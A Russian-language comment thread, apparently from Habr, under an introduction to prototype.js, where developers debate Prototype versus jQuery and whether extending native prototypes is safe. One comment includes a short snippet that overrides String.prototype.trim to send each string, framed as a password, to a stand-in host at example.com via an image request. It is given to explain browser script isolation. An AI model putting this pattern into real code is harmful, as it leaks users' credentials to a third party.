Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Хабр доступен 24/7 благодаря поддержке друзей
Комментарии 114
Написали бы про Классы и интерфейсы — цены бы не было. А то щас начнутся вопросы типа «а чем jquery не устраивает?».
Ну, как я уже написал в начале статьи, моей целью было дать основы для начинающих. Более того, я так же сказал, что jQuery меня устраивает, но в текущем проекте приходится использовать prototype.
Но, в принципе, можно написать и про классы и интерфейсы, если общественность будет просить.
Но, в принципе, можно написать и про классы и интерфейсы, если общественность будет просить.
Имхо, jQuery проще для понимания, а prototype более функционален. Многие сначала учатся писать с jQuery, а потом при переходе на prototype возникает непонимание и непривычность. В-основном сказывается разница в документации — в jQuery она разбита по разделам (селекторы, аякс, анимация), а в prototype — по классам и функциям, из-за чего в prototype найти что-либо конкретное довольно сложно. Я когда с prototype столкнулся, надо было написать простенькую анимацию — появление и исчезновение всплывающей подсказки. В jQuery я мог бы это написать минут за 5 (с учетом проверки координат подсказки), с prototype же я провозился полчаса, в-основном рыская по документации. Так что сравнивая простой jQuery и функциональный prototype, я отдаю дань простоте :-)
С точки зрения функциональности и возможностей мне более нравится mootools. Для обычных сайтов jQuery вполне достаточно.
Это очень субьективно. Я начинал работать именно с prototype+scriptaculo и когда возникла необходимость работать с JQuery я долго чертыхался от ее документации и некоторое время не мог привыкнуть к синтаксису.
простота хуже…
>Многие сначала учатся писать с jQuery, а потом при переходе на prototype возникает непонимание и непривычность.
jQuery представляет собой слишком высокую абстракцию над нативным javascript'ом, работающим с DOM. Фактически можно использовать jQuery, не зная javascript.
jQuery представляет собой слишком высокую абстракцию над нативным javascript'ом, работающим с DOM. Фактически можно использовать jQuery, не зная javascript.
советую разобраться еще с script.aculo.us — эта либа писалась именно для prototype.js… ощутимо расширяет функциональность prototype.js
Спасибо, посмотрю
Есть еще scripty2 — по-сути script.aculo.us 2.0. Правда Томас подзабил на него в последнее время. Как собственно и Сэм Стефенсон на сам прототайп.
Не останавливайтесь, продолжайте разворачивать эту тему. Многим начинающим разработчикам этот материал будет интересен.
А вот этот getElementsByClassName(), его прототайп реализует, если его браузер не поддерживает? Или вы просто стандартный JS-овый упомянули? А то ведь его даже в ИЕ8 нет (в 9 не проверял).
И чем getElementsByClassName() отличается скажем от $$()?
И чем getElementsByClassName() отличается скажем от $$()?
имхо для работы с DOM лучше jQuery, а протопайп хорош только классами, интерфейсами и другими плюшками( типа $w, try.these и десятком других)
Но как-то загнил он, загнил.
Но как-то загнил он, загнил.
несколько CSS фильтров, которые поступают на вход в виде выражения подобного регулярному выражению
Мне порвало мозг. Как можно обычные банальные css-селекторы назвать вот так вот?
"$F(). Для кода выше, мы могли получить значения элементов формы следующим.."
Не совсем понятно, что делает данная функция. Она ищет элемент form или элементы формы (input, select, textarea и др.)? Из примера не ясно, чем она отличается от $().
Не совсем понятно, что делает данная функция. Она ищет элемент form или элементы формы (input, select, textarea и др.)? Из примера не ясно, чем она отличается от $().
На самом деле статья не описывает ничего нового, всё это есть на сайте фреймворка, причём в ну уж очень наглядной форме.
Единственное, пожалуй, что сделано через жопу в прототайпе — так это обсервинг onchange событий. Всё остальное просто прекрасно в версии 1.7 стало. До неё не хватало сильно live обсерверов разве что родных, да и те реализовывались пятью строчками кода.
Собственно, этот фреймворк по всем параметрам, кроме размера, делает всех. )
Собственно, этот фреймворк по всем параметрам, кроме размера, делает всех. )
в прототайпе интересна сугубо объектная модель как в руби…
а так, против jquery нужно в редких случаях
а так, против jquery нужно в редких случаях
Prototype.js — мой первый JavaScript фреймворк. В нем много интересных моментов, которые повлияли на на другие библиотеки и на JavaScript вцелом. Он все ещё используется в RoR и я ничего не имею против него, но:
Ну и script.aculo.us с ним же 1.9.0 as of December 23, 2010…
November 22nd, 2010помоему, пациент скорее мертв… врятли это из-за того, что он идеален и завершен на 100%
Last week, we tagged the first stable release of 1.7
Ну и script.aculo.us с ним же 1.9.0 as of December 23, 2010…
Спасибо. Думал RoR — это единственное на чем держится Prototype.js Теперь точно пора заказывать Сонату № 2 Шопена :)
Я работал с prototype.js и затем пересел на jQuery (ага, и попутно на него пересадил еще много девелоперов), поверьте мне есть с чем сравнить.
Так вот, prototype — умер, в его основе лежит не очень хорошая идея допиливания прототипов — НЕ СЛЕДУЕТ ЭТОГО ДЕЛАТЬ. Фреймворк все еще жив за счет RoR'а и других старых проектов, но походу на этом всё…
Мне конечно нравятся некоторые его фишечки, что-то сделано даже лучше чем у других, но на этом следует закончить
Так вот, prototype — умер, в его основе лежит не очень хорошая идея допиливания прототипов — НЕ СЛЕДУЕТ ЭТОГО ДЕЛАТЬ. Фреймворк все еще жив за счет RoR'а и других старых проектов, но походу на этом всё…
Мне конечно нравятся некоторые его фишечки, что-то сделано даже лучше чем у других, но на этом следует закончить
Ну, я не сильно знаком с реалиями его использования сам его тоже никогда не использовал. Как я уже отметил, просто пришлось заняться проектом, который написан с его использованием. Поэтому пришлось изучать.
Да и в любом случае, кто знает что будет с проектом prototype дальше?
Да и в любом случае, кто знает что будет с проектом prototype дальше?
Спросите @thomasfuchs сами. Если учесть, что Томас сейчас работает над Zepto.js — jQuery подобная библиотека на WebKit-браузеров, то врятли Prototype.js получит версию 1.8
Почему не следует расширять прототипы?
Согласен. Это удобно и изящно. Хочу аргументов.
Дословная цитата о Гитхаб
Дословная цитата о Mozilla Docs:
Идея статьи:
Прям д'Артаньян писал. Ему и в Mozilla дураки сидят и авторы Гитхаб дураки.
гитхаб писали не слишком одарённые интеллектом люди
Дословная цитата о Mozilla Docs:
вики движок для документации писали не слишком одарённые интеллектом люди
Идея статьи:
prototype писали не слишком одарённые интеллектом люди
Прям д'Артаньян писал. Ему и в Mozilla дураки сидят и авторы Гитхаб дураки.
если я расширю, ты расширишь, прототайп расширит… то программа станет подвержена эффекту квантовой неопределенности( только не скорость\положение, а работа\дебаг )
Если же через полгода-год браузер получит поддержку неких новых функций — могут появиться невозможные ошибки первого рода(это когда вы дописываете то что уже есть, но в другой нотации).
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)
Протопайт тоже очень часто файтиться с браузерами и сторонними АПИ. Причом если в мутулс ошибка более менее явная, там бывает просто ФАНТАСТИКА.
(использовал протопайт с 2006 по 2009 годы)
А по ненавистный мне hasOwnProperty я лучше промолчу
Если же через полгода-год браузер получит поддержку неких новых функций — могут появиться невозможные ошибки первого рода(это когда вы дописываете то что уже есть, но в другой нотации).
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)
Протопайт тоже очень часто файтиться с браузерами и сторонними АПИ. Причом если в мутулс ошибка более менее явная, там бывает просто ФАНТАСТИКА.
(использовал протопайт с 2006 по 2009 годы)
А по ненавистный мне hasOwnProperty я лучше промолчу
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)
Сказка какая-то. Если использовался Мутулз двухлетней давности, то использовался старый вид bind() (с двумя аргументами, а не бесконечным количеством), а там где используется новый — используется новый. Проблема может быть только если одновременно решите использовать какую-то старую либу и новую.
Function.prototype.bind = function () { alert(1) };
(function(){}).bind(); // 1
На практике, если продукт уже не поддерживается, то оно будет работать, так как используются методы из фреймворка, если поддерживается, то он эволюционирует вместе с кодом. Я вот не могу представить какой-нибудь код сейчас поддерживать на jQuery 1.0, хотя несовместимости со старыми версиями там внесли огого.
Проблема со старым мутулзом под новым хромом( только хромом, только новым )
Если FF позволяет переписывать некие нативные функции, то хром на попытку доступа в .name или методы которые он сам называет «native code»(в общем билдин) начинает шаманить по полной.
В общем последние полгода 90% обращений в саппорт с темой «у меня в хроме не работает» закачивается просто — обновите мутулс.
Если FF позволяет переписывать некие нативные функции, то хром на попытку доступа в .name или методы которые он сам называет «native code»(в общем билдин) начинает шаманить по полной.
В общем последние полгода 90% обращений в саппорт с темой «у меня в хроме не работает» закачивается просто — обновите мутулс.
Нет, это не так, все работает (chrome 12 — bind переписывается jsfiddle.net/chchM/, сайты на mootools 1.2 работают). Нельзя было менять в chrome 3 вроде, его давно уже нет.
ты немного не то тестируешь :)
В общем багу они закрыли в августе 2010 года, и в 1.3
Представь еще раз — есть у тебя фунция .bind и вдруг оказывается что какой-то мутулс определяет ее иначе чем ты только что прочитал в справочнике.
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!
ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал
В общем багу они закрыли в августе 2010 года, и в 1.3
Представь еще раз — есть у тебя фунция .bind и вдруг оказывается что какой-то мутулс определяет ее иначе чем ты только что прочитал в справочнике.
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!
ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал
все то, при чем тут весь js, изменяется только на странице, никаких ошибок нет, все нормально.
bind вначале появился в prototype и mootools, потом вошел в стандарт, в mootools 1.3 реализовано в соответствии с новый стандартом.
bind вначале появился в prototype и mootools, потом вошел в стандарт, в mootools 1.3 реализовано в соответствии с новый стандартом.
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!
Простите, но это маловероятно из соображений безопасности. Представьте, где-то используется какой-угодно метод для работы с секретными данными пользователя. Представим, что это gmail-checker, который использует trim:
return user.gmail.password.trim();
Если бы JS из сайта имел доступ к прототипам, которые использует браузер, то можно было бы легко украсть данные. Достаточно написать на своей странице такой код:
var orig = String.prototype.trim;
String.prototype.trim = function () {
(new Img).src = 'http://example.com/hack?' + this;
return orig.call(this);
}
Не знаю точно как Хроме, но в UserJS используется приблизительно такой подход — есть window плагина и unsafeWindow, который присутствует на пользовательском сайте.
И, главное,
( new window.Array() ) instanceof unsafeWindow.Array; // false
( new unsafeWindow.Array() ) instanceof window.Array; // false
То есть объекты по сути идентичны, а на практике — разные. Собственно, пользователь может делать что хочет с прототипами своего Array, а на все сторонние сайты и плагины это не повлияет. Единственное, что можно внести неожиданное поведение в такие скрипты, как Google Analytics, но тут уж разработчик ССЗБ.
ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал
jQuery версии 1.1 будет некорректно работать с Internet Explorer 9 и потому тот, кто давно не обновлял jQuery на своём сайте — тот попал. При этом они не расширяют прототипы встроенных объектов
насчет window и unsafeWindow — я вообще говорил как своими же скриптами сломать свой же сайт.
А на соседние сайты\табы\плагины вообще физически попасть нельзя.
>Если бы JS из сайта имел доступ к прототипам, которые использует браузер
Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.
А на соседние сайты\табы\плагины вообще физически попасть нельзя.
>Если бы JS из сайта имел доступ к прототипам, которые использует браузер
Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
А это к чему?
Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.
Как? Только на своём сайте. А на своём сайте можно что угодно поламать, даже без доступа к прототипам.
А по ненавистный мне hasOwnProperty я лучше промолчу
С этим — согласен. Object.prototype лучше не расширять, т.к. это может понести другие проблемы. Но это исключение. И в том же Мутулзе именно Object.prototype не расширяется.
Инкапсуляция — не?
Ладно еще в рамках своего приложения, но это же фреймворк, подключение prototype к существующему проекту — это еще то «счастье», проверено на личном печальном опыте.
Ладно еще в рамках своего приложения, но это же фреймворк, подключение prototype к существующему проекту — это еще то «счастье», проверено на личном печальном опыте.
К удобному тоже быстро привыкаешь. $('elemId').value.trim() и подобные манипуляции есть в каждом проекте. Прототипы ведь для того и существуют чтоб разгрузить локальные обьекты. Инкапсуляция нужна на ином уровне.
jQuery:
$.trim($('#elemId').val())руби стайл лучше
Стиль ruby хорош в языке Ruby. Для JavaScript больше подходит стиль JavaScript ;)
Дело в том что это: $.trim($('#elemId').val()) Не JavaScript стиль, инкапсуляция — метод сокрытия кода, он применяется везде, в любом языке. JavaScript — прототипный язык и вдруг не стоит использовать прототипы… Почему?
Если что, я вкурсе что такое инкапсуляция, я вкурсе что такое процедурный метод, меня не интересуют парралельные принципы разработки. Меня интересуют аргументы почему расширение прототипов — плохо?
Если что, я вкурсе что такое инкапсуляция, я вкурсе что такое процедурный метод, меня не интересуют парралельные принципы разработки. Меня интересуют аргументы почему расширение прототипов — плохо?
Расширение прототипов — естественный подход, для своих классов. Кстати, jQuery этим интенсивно пользуется.
Также он имеет право на жизнь в строго определенных условиях для системных классов. Но для библиотеки общего назначения это больно.
К слову, такая же проблема иногда возникала и в Ruby, когда библиотеко-писатели создавали функции, которые позднее в ruby 1.9 были иначе определены авторами языка.
Также он имеет право на жизнь в строго определенных условиях для системных классов. Но для библиотеки общего назначения это больно.
К слову, такая же проблема иногда возникала и в Ruby, когда библиотеко-писатели создавали функции, которые позднее в ruby 1.9 были иначе определены авторами языка.
Почему больнь? Уже 4 ответа и кроме слова «плохо» я ни одного аргумента не услышал.
String.prototype.trim = function(){}
String.prototype.clearTags = function(){}
Вот «библиотека общего назначения» в которой добавлены два метода: Что плохого?
String.prototype.trim = function(){}
String.prototype.clearTags = function(){}
Вот «библиотека общего назначения» в которой добавлены два метода: Что плохого?
Два возможных варианта развития событий:
1) Маловероятное — функция clearTags реализована в новом стандарте ECMAScript и делает нечто совсем другое;
2) Крайне вероятное — мы используем некий плагин или орган управления, и там тоже определен метод clearTags, и мы не знаем, где ошибка. Раскопки займут немало времени.
1) Маловероятное — функция clearTags реализована в новом стандарте ECMAScript и делает нечто совсем другое;
2) Крайне вероятное — мы используем некий плагин или орган управления, и там тоже определен метод clearTags, и мы не знаем, где ошибка. Раскопки займут немало времени.
1. Очень маловероятно.
2. Подключаете свою библиотеку после моей и Ваш метод перекрывает мой, ошибка у вас.
2. Подключаете свою библиотеку после моей и Ваш метод перекрывает мой, ошибка у вас.
Ошибка у пользователя. Ибо при любом порядке подключения библиотек ранее подключенная будет работать неверно.
Сравните с jQuery, — и для библиотеки, и для любого библиотечного кода, её использующего, необходимо и достаточно лишь определенности window.jQuery.
Сравните с jQuery, — и для библиотеки, и для любого библиотечного кода, её использующего, необходимо и достаточно лишь определенности window.jQuery.
насчет первого пункта — уже были случаи. Например, если не ошибаюсь, bind в MooTools был реализован иначе, чем в стандарте языка ECMAScript, со всеми вытекающими.
В мутулс перед тем как добавить метод они проверяют есть ли нативный такой и если есть то возвращают его.
То что в прототайпе $ нельзя убрать это не значит что добавление методов через прототипы — плохое занятие.
Реально нет ни одной причины не использовать добавление методов через прототипы, хочется перебрать методы Вашего обьекта? hasOwnProperty Вас спасет.
То что в прототайпе $ нельзя убрать это не значит что добавление методов через прототипы — плохое занятие.
Реально нет ни одной причины не использовать добавление методов через прототипы, хочется перебрать методы Вашего обьекта? hasOwnProperty Вас спасет.
Пример из жизни ruby, пункт 1 частично описан здесь
к ненависти руби и тд и тп пост не имеет никакого отношения, заголовок для привлечения внимания, о чём автор в сноске и пишет
к ненависти руби и тд и тп пост не имеет никакого отношения, заголовок для привлечения внимания, о чём автор в сноске и пишет
Инкапсуляция — не?
В чём инкапсуляция?
Да, можно все функции занести в какой-нибудь god-object, без какой-нибудь логики, просто устроить мусорку, как
$.proxy, $.trim, $.isArray, $(selector)
В итоге, в одном месте намешаны и функции для работы с DOM и функции для работы со строками и т.д. Куда естественнее расширять стандартные прототипы. Тем более, это идеология языка и для базового фреймворка это вполне естественно.
Между прочим, jQuery годиться только для работы с DOM (и, я скажу, он прекрасно справляется с этим!). Для остальных задач, например серверное программирование, Canvas он не имеет смысла. Вообще. В отличии от prototype/mootools
Вы описали главную страницу хелпа их сайта =)
Начинал как раз с Prototype потом Scriptaculos (для красивостей). Но потом без проблем перешел на jQuery. В Prototype (по крайней мере в 1.6) очень туповата была работа с событиями, в jQuery они как то интуитивно понятней работают. Но согласен что в Prototype приятней работать с ООП.
Присоединяюсь к бережникам на jquery. В целом, библиотека очень приятная в своем интерфейсе по сравнению с jquery, но запомнилась еще и тем, что для красивостей требовалось множество плясок с бубном производительности (естественно, я и о script.aculo.us).
Да и частота обновлений самого фреймворка вместе с обширностью общества разработчиков на jquery не оставляет шансов.
Да и частота обновлений самого фреймворка вместе с обширностью общества разработчиков на jquery не оставляет шансов.
А кто-нибудь Dojo в работе использовал? Как оно вам?
У меня проект на протоайпе. Решили, что после редизайна будем все переводить на jquery.
Кстати, сюда же вопрос задам
Данные в /ajax/reg.php поступают и успешно обрабатываются. Вот только этот код выводит только «Loaded!». Почему не выполняется ни Fail, ни Success для меня загадка.
Прошу не минусовать, как уже сказал — сам только изучаю фреймворк.
var pars = {
login : $F('reglogin'),
pass1 : $F('pass1'),
pass2 : $F('pass2')
};
var hash = $H(pars);
var myAjax = new Ajax.Request(
base_url + 'ajax/reg.php',
{
method: 'get',
parameters: hash.toQueryString(),
onLoaded: function() { alert('Loaded!'); },
onComplete: function() { alert('Complete!'); },
onSuccess: function(){ alert("Success"); },
onFailure: function(){ alert('Fail!'); }
});
Данные в /ajax/reg.php поступают и успешно обрабатываются. Вот только этот код выводит только «Loaded!». Почему не выполняется ни Fail, ни Success для меня загадка.
Прошу не минусовать, как уже сказал — сам только изучаю фреймворк.
Ваш кусок кода прекрасно сработал и выдал 3 алерта =)
Я зашел на страницу прототайпа и просто выполнил в консоли ваш код:
Я зашел на страницу прототайпа и просто выполнил в консоли ваш код:
var myAjax = new Ajax.Request(
'http://prototypejs.org/',
{
method: 'get',
onLoaded: function() { alert('Loaded!'); },
onComplete: function() { alert('Complete!'); },
onSuccess: function(){ alert("Success"); },
onFailure: function(){ alert('Fail!'); }
});
Не помню, кто из гуру JavaScript сказал:
— Prototype написан разработчиками, не понимающими JavaScript, для программистов, не понимающих JavaScript.
— Prototype написан разработчиками, не понимающими JavaScript, для программистов, не понимающих JavaScript.
Глупость какая-то. Прототайп вообще мало JS меняет в отличии от того же jQuery.
Диванный теоретик? Идеалогия прототайпа — расширять СИСТЕМНЫЕ объекты и патчить, причем для каждого браузера свой костыли, для сглаживания отличий и расширять своими методами. Ох как мы натрахались с объектами, когда в них всплывали прототайповские методы. За ковыряние в Object нужно вообще руки отрывать.
Идея jQuery оборачивать DOM. В этом контексте jQuery ВООБЩЕ не меняет JavaScript.
Идея jQuery оборачивать DOM. В этом контексте jQuery ВООБЩЕ не меняет JavaScript.
hasOwnProperty, не?
Что плохого в том, чтобы «допилить» стандартные типы js? Б-г запрещает? ECMA запрещает?
Прототайп не столько фреймворк, сколько расширение языка.
Что плохого в том, чтобы «допилить» стандартные типы js? Б-г запрещает? ECMA запрещает?
Прототайп не столько фреймворк, сколько расширение языка.
Целый букет проблем с совместимостью и постоянными конфликтами со всем и вся, большой лаг после выпуска новых версий браузеров чтобы все это дело исправить. Идеология модульности и расширяемости, когда каждый плагин сидит в своей песочнице и не гадит в общественном месте.
Собственно, «не столько фреймворк, сколько расширение языка» это исчерпывающий ответ. Мне нужен удобный и понятный фреймворк, если я захочу функциональщины, то возьму какую нибудь underscore.js, которая будет тихо сидеть в "_".
Собственно, «не столько фреймворк, сколько расширение языка» это исчерпывающий ответ. Мне нужен удобный и понятный фреймворк, если я захочу функциональщины, то возьму какую нибудь underscore.js, которая будет тихо сидеть в "_".
Небольшая оговорка: я не пытаюсь разжечь холивор, ибо бессмысленно.
Пример можно? Ни разу за 4 года работы с прототайпом не сталкивался с таким.
–когда каждый плагин сидит в своей песочнице и не гадит в общественном месте.
Что такое плагин в понимании JavaScript?
–Идеология модульности и расширяемости
Чем добавление своего метода в prototype объекта не угодило?
И вы действительно считаете подход а-ля джейквери «неявно вернём контекст и применим к нему метод( $(context).myMethod(arg1, arg2) )» нормальным и myMethod.apply(context, [arg1, arg2]) ересью?
Насчёт «понятнее и логичнее». Простой пример:
Что понятнее и логичнее?
или
Пример можно? Ни разу за 4 года работы с прототайпом не сталкивался с таким.
–когда каждый плагин сидит в своей песочнице и не гадит в общественном месте.
Что такое плагин в понимании JavaScript?
–Идеология модульности и расширяемости
Чем добавление своего метода в prototype объекта не угодило?
И вы действительно считаете подход а-ля джейквери «неявно вернём контекст и применим к нему метод( $(context).myMethod(arg1, arg2) )» нормальным и myMethod.apply(context, [arg1, arg2]) ересью?
Насчёт «понятнее и логичнее». Простой пример:
jQuery.fn.repeat = repeat(num) {
return new Array( num + 1 ).join(this.selector);
}
String.prototype.repeat = function(num) {
return new Array( num + 1 ).join(this);
}Что понятнее и логичнее?
"lol".repeat(3) //[Prototype style]или
$('lol').repeat(3) //[jQuery style]Пардон,
jQuery.fn.repeat = function(num) {
return new Array( num + 1 ).join(this.selector);
}Последний прототайп который смотрел был 1.5 может сейчас уже поправили. Самая заметная проблема была в том, что прототайп ломал сериализацию объектов в json и разрабы никак не могли решить кто виноват. А при работе с jquery ой как напрягало.
Я имел ввиду плагин в понимании jQuery. При одиночном вызове разницы конечно нет, НО жкверевский подход выигрывает, цепочными вызовами в итоге код получается компактней и удобней для чтения. В любом случае — это спор из разряда big vs low endian. Как удобно, так используй. Лично мне спокойней, когда системные объекты нетронуты, внезапных коллизий не произойдет и в моих объектах не появится чужого кода.
Я имел ввиду плагин в понимании jQuery. При одиночном вызове разницы конечно нет, НО жкверевский подход выигрывает, цепочными вызовами в итоге код получается компактней и удобней для чтения. В любом случае — это спор из разряда big vs low endian. Как удобно, так используй. Лично мне спокойней, когда системные объекты нетронуты, внезапных коллизий не произойдет и в моих объектах не появится чужого кода.
–жкверевский подход выигрывает, цепочными вызовами
В данном примере «человекопонятный» чейн возможен только в случае расширения прототипа:
А вот так будет у jQ
Думаю нет нужды объяснять, что пример для jQ провалит все тесты.
В данном примере «человекопонятный» чейн возможен только в случае расширения прототипа:
"lol".repeat(2).repeat(3).repeat(5);А вот так будет у jQ
$($($('lol').repeat(2)).repeat(3)).repeat(5);Думаю нет нужды объяснять, что пример для jQ провалит все тесты.
Странный юскейс. Что мешает написать repeat(2*3*5)? Я вот так даже сходу не могу вспомнить реальный случай применения подобной вложенности. Чаще встречается такое: $(Объект).метод(анонимнаяФункция(){пошла вложенность}).ещеМетод({вложенные:{(атрибуты)}})
Распространенный юскейс: селектнуть инпут, установить атрибуты, навесить стили, события, применить плагины. Скобок много, согласен, но не настолько.
Распространенный юскейс: селектнуть инпут, установить атрибуты, навесить стили, события, применить плагины. Скобок много, согласен, но не настолько.
возможно, пример утрированный.
Метод «repeat» возвращает строку, а не объект jQuery.
Теперь про наглядность:
Здесь контекст становится понятен, только тогда, когда был вызван метод repeat
А если вот так ?:
Я понимаю, что есть гайды от Рейзига, но всё-таки.
Никто не говорит, что расширение прототипа есть панацея. Делать это нужно просто с умом.
Метод «repeat» возвращает строку, а не объект jQuery.
Теперь про наглядность:
$('header').repeat(2) //-> headerheaderЗдесь контекст становится понятен, только тогда, когда был вызван метод repeat
А если вот так ?:
$('header').animate({'background-color': '#F00'})Я понимаю, что есть гайды от Рейзига, но всё-таки.
Никто не говорит, что расширение прототипа есть панацея. Делать это нужно просто с умом.
Диванный теоретик?
Ну да, ну да. Я — вообще о JavaScript знаю только понаслышке.
Можно программировать на jQuery какие-то мелкие вещи и вообще не знать JavaScript, я гарантирую это.
Зацени проекты «диванного теоретика»: github.com/theshock
Начинали писать на прототайпе но были жутчайшие баги с несовеместимостью с фф тогда еще третьей версии. Причем в трекерах прототайповцы и мозилчане (каждый в своем) отказывлся исправлять баг пеняя на другого.
После такого на сто метров не подойду к этому поделию. Постепенно все перевели на jQuery.
После такого на сто метров не подойду к этому поделию. Постепенно все перевели на jQuery.
Вот, кстати, исчерпывающая статистика: trends.builtwith.com/javascript
JQuery 19,966,246 45.71%
Prototype 1,232,540 3.98%
Этим все сказано.
JQuery 19,966,246 45.71%
Prototype 1,232,540 3.98%
Этим все сказано.
И что этим сказано?
Я Вам могу привести статистику по пхп в сравнении с другими скриптовыми языками, которые реально удобней и логичней, но на них работают меньше, почему? На это нет ответа, популярность есть популярность, и она не всегда связана с логичностью, удобностью и правильностью.
Я Вам могу привести статистику по пхп в сравнении с другими скриптовыми языками, которые реально удобней и логичней, но на них работают меньше, почему? На это нет ответа, популярность есть популярность, и она не всегда связана с логичностью, удобностью и правильностью.
Популярность объясняется массой плагинов, требующих его установки. Если заказчик возжелал свистоперделку, то она скорее всего уже есть в библиотеке jquery и писать её самому средствами prototype.js нет никакого интереса.
Аргумент из разряда — миллионы мух не могут ошибаться.
(Еще можно сравнить в трендах PHP и, например, Haskell.)
(Еще можно сравнить в трендах PHP и, например, Haskell.)
За миллионы лет мухи научились выбирать именно ту среду, которая обеспечивает выживание вида. Поэтому аргумент годный.
Сравнить языки можно, только в какой области? Кто-то пишет хомяков на хаскеле или опердени на пэхапе? Напротив, ниша у прототайпа и жквери одна: веб фреймворки для ажакса и манипулирования домом.
Сравнить языки можно, только в какой области? Кто-то пишет хомяков на хаскеле или опердени на пэхапе? Напротив, ниша у прототайпа и жквери одна: веб фреймворки для ажакса и манипулирования домом.
Тролль? Ok.
По-существу есть что ответить?
Судить о сущностном превосходстве чего-то над чем-то по кол-ву вхождений в поисковый индекс — глупо и недальновидно. Достаточно сравнить node.js / erlang выдачу ( 48M против 22M ). Все очевидные преимущества эрланга над нодой и родовые травмы самой ноды при этом как бы забываются, ведь хайп больше!
> Кто-то пишет хомяков на хаскеле
Да.
> Кто-то пишет хомяков на хаскеле
Да.
Ещё раз: сравнивается количество «установок» фреймворков из одной области, с одинаковым функционалом (ajax и DOM манипуляция), немного отличающейся реализацией и сильно — формой использования.
Поисковый индекс показывает как часто ищут, может эрланг такой простой и понятный, что его мало ищут, а используется он в десять раз чаще ноды. Согласен, хайп создает накрутку, но не многолетние тренды. Поэтому нужна статистика использования, которую я не нашел беглым гуглингом. А цифры из поиска не говорят о качестве продукта.
Поисковый индекс показывает как часто ищут, может эрланг такой простой и понятный, что его мало ищут, а используется он в десять раз чаще ноды. Согласен, хайп создает накрутку, но не многолетние тренды. Поэтому нужна статистика использования, которую я не нашел беглым гуглингом. А цифры из поиска не говорят о качестве продукта.
Вот вам тогда пример Хабр один, но есть еще куча ГС на похожу тему, теперь по вашей логике:
ГС 99%
Хабр 1%
«этим всё сказано»?
ГС 99%
Хабр 1%
«этим всё сказано»?
Чото подумал, глупость сказал :) А вообще, jquery после prototype действительно проще выглядит и удобнее с ним работать с dom. Но вот если делать, что-то сложное (типа веб-приложения или игры), то думаю prototype будет удобнее.
Дружище, назови хоть один «ГС», с такой же посещаемостью в рунете как Хабр. Брать какие-то цифры из головы и на основании их делать выводы по меньшей мере странно.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Введение в prototype.js